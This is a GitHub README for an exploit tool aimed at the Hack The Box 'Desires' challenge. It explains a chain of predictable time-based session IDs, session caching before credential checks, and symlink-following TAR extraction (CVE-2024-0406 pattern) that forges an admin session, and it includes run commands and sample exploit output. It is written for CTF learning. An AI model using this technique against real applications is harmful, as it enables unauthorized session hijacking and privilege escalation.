Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

8 Commits
 
 
 
 

Repository files navigation

HTB “Desires” — Symlink Extraction + Predictable SID Exploit

For CTF/Lab use only.
This repository automates the exploitation chain for the Hack The Box challenge Desires.
It demonstrates a combination of:

  1. Predictable session IDs (SID = sha256(unix_time_seconds))
  2. Broken login logic (caches username -> sid before verifying credentials)
  3. CVE-2024-0406-style symlink extraction to write session files outside the intended path

Features

  • Tight time sync loop: uploads SIDs for prev/now/next each tick (handles small clock drift)
  • Two symlink strategies:
    • Absolute symlink (e.g. /tmp/sessions/<user>)
    • Relative symlink (e.g. ../../../tmp/sessions/<user>)
  • Configurable endpoints, form field name, tmp root, and JSON session payload
  • Debugging helpers: optional TAR dump to disk so you can inspect the archive
  • Verbose logging to understand each step

Legal & Ethical

This PoC is strictly for educational use in HTB/CTF environments or systems you own or are authorized to test.
Do not run this against any real systems without explicit permission.


Vulnerability Summary

  • Predictable SIDs
    sessionID := sha256(str(int(time.time()))) → you can guess the valid SID for the current second.
  • Broken Login Logic
    /login calls PrepareSession(sessionID, username) before verifying the account/password, leaving a usable cache entry even if /login returns 400.
  • Symlink Extraction (CVE-2024-0406 pattern)
    The upload extractor follows symlinks. If your TAR contains a symlink that looks like a directory, subsequent files added under that “directory” are actually written at the symlink’s target (e.g. into /tmp/sessions/<user>/<sid>).

Requirements

  • Python 3.8+
  • requests (pip install requests)
  • An authenticated uploader account on the target (e.g., test)
  • The uploader’s valid cookies (username=<uploader>; session=<hex>)

Quick Start (Local Docker)

If you have the challenge Docker already:

# Build and run the challenge container (example)
docker build -t web-desires .
docker run -p 1337:1337 --rm --name web-desires -it web-desires
  1. Register/login on http://127.0.0.1:1337 to get an uploader session (e.g., user test).
  2. Copy your browser cookies (look for username=test and session=<hex>).
  3. Run the exploit:
python3 desires.py \
  --base-url http://127.0.0.1:1337 \
  --uploader-cookies "username=test; session=<valid_session_hex>" \
  --target-user test \
  --seconds 180 \
  --tmp-root /tmp/sessions \
  --dump-tar /tmp/poison.tar

If successful, you’ll see 200 on /user/admin and the admin page (flag) printed.


Remote/Other Setups

If the extractor rejects absolute symlinks, try relative:

python3 desires.py \
  --base-url http://HOST:PORT \
  --uploader-cookies "username=test; session=<valid>" \
  --target-user test \
  --seconds 240 \
  --rel-link-ups 3

--rel-link-ups 3 creates a symlink target like ../../../tmp/sessions/<user>

If clocks differ, add an offset:

# Try skewing by -1 second
python3 desires.py ... --offset -1

🔧 CLI Reference

usage: desires.py --base-url URL --uploader-cookies "k=v; k2=v2" [options]

Required:
  --base-url              Base URL (e.g. http://127.0.0.1:1337)
  --uploader-cookies      Cookie string for the uploader user
                          e.g. "username=test; session=<valid_session_hex>"

Common:
  --target-user NAME      Target username to poison (default: test)
  --seconds N             How long to run the loop (default: 120)
  --offset N              SID time skew in seconds (default: 0)

Symlink target (choose one style):
  --tmp-root PATH         Root where session files live (default: /tmp/sessions)
  --abs-link              Use absolute symlink to <tmp-root>/<target-user>
  --rel-link-ups N        Use relative symlink: '../' * N + '<tmp-root>/<target-user>'

Endpoints & form field:
  --field NAME            Multipart form field for archive (default: archive)
  --upload-endpoint PATH  Upload route (default: /user/upload)
  --login-endpoint PATH   Login route (default: /login)
  --admin-endpoint PATH   Admin route (default: /user/admin)

Payload & debug:
  --payload JSON          Session file contents (default admin JSON)
  --dump-tar PATH         Save the generated TAR for inspection

How It Works (Step-by-Step)

  1. Compute SIDs for prev/now/next (plus optional --offset) each tick.
  2. Build TAR containing:
    • a symlink entry (name x) targeting /tmp/sessions/<target_user> (or relative variant)
    • three regular files: x/<sid_prev>, x/<sid_now>, x/<sid_next> with the JSON payload
  3. Upload TAR once (writes all three SIDs on disk).
  4. Prime the cache with /login JSON ({"username": <target_user>, "password": "x"}); a 400 is expected.
  5. Probe /user/admin with cookies {"username": <target_user>, "session": <sid>} for each SID; 200 means success.

In the official challenge build, writing under the real uploader user (e.g. test) is the reliable path, because /tmp/sessions/test/ exists.


Troubleshooting

  • I always get 500 on /user/admin.

    • Ensure --target-user is a real user with a sessions directory (the uploader itself is safest).
    • Confirm --tmp-root matches the build (/tmp/sessions vs tmp/sessions).
    • Try --offset -1 or --offset 1. Increase --seconds.
  • Upload shows “illegal file path: ../..”

    • You are likely using dot-dot filenames. This script does not use dot-dots; it uses a symlink directory.
    • If absolute symlinks fail, switch to --rel-link-ups 3.
  • /login returns 400

    • That’s fine. We only need the side-effect (PrepareSession) which runs before credential checks.
  • I want to inspect the TAR

    • Add --dump-tar /tmp/poison.tar and open it with tar -tvf /tmp/poison.tar.

Example Outputs

Successful local run:

[i] GET / -> 200
[i] Using tmp root: '/tmp/sessions'  (final link will be /tmp/sessions/test/<sid>)
[+] Running synchronized loop for 180s (same-name symlink)…
[UP] prev cd3d1074b2f8 -> 202 :: {"message":"Archive uploaded and extracted successfully"}
…
[PRIME] /login -> 400
[CHK] cd3d1074b2f8 -> 200
[+] GOT IT! Response body follows:
<!DOCTYPE html> … HTB{REDACTED}

Example Screenshots

python desires.py --base-url http://83.136.254.84:49416 \
--uploader-cookies "username=test; session=b2c4c78a84d8f9b114d8eba04376c1d8e8ac5696762a66624d269ee9ec08db2a" \
--target-user test \
--seconds 120 \
--tmp-root tmp/sessions \
--dump-tar /tmp/poison.tar \
--rel-link-ups 5
image image

Repo Structure

.
├─ desires.py     # exploit driver (with detailed comments)
├─ README.md      # this file
└─ requirements.txt (optional: requests)

If you track the Docker challenge locally, you can add its files here as well.


Acknowledgments

  • CVE-2024-0406 research and public PoCs inspiring the symlink extraction technique
  • HTB for the Desires challenge & provided source

License

MIT (or your preferred open-source license).

About

This repo contains an exploit for HTB Desires challenge

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages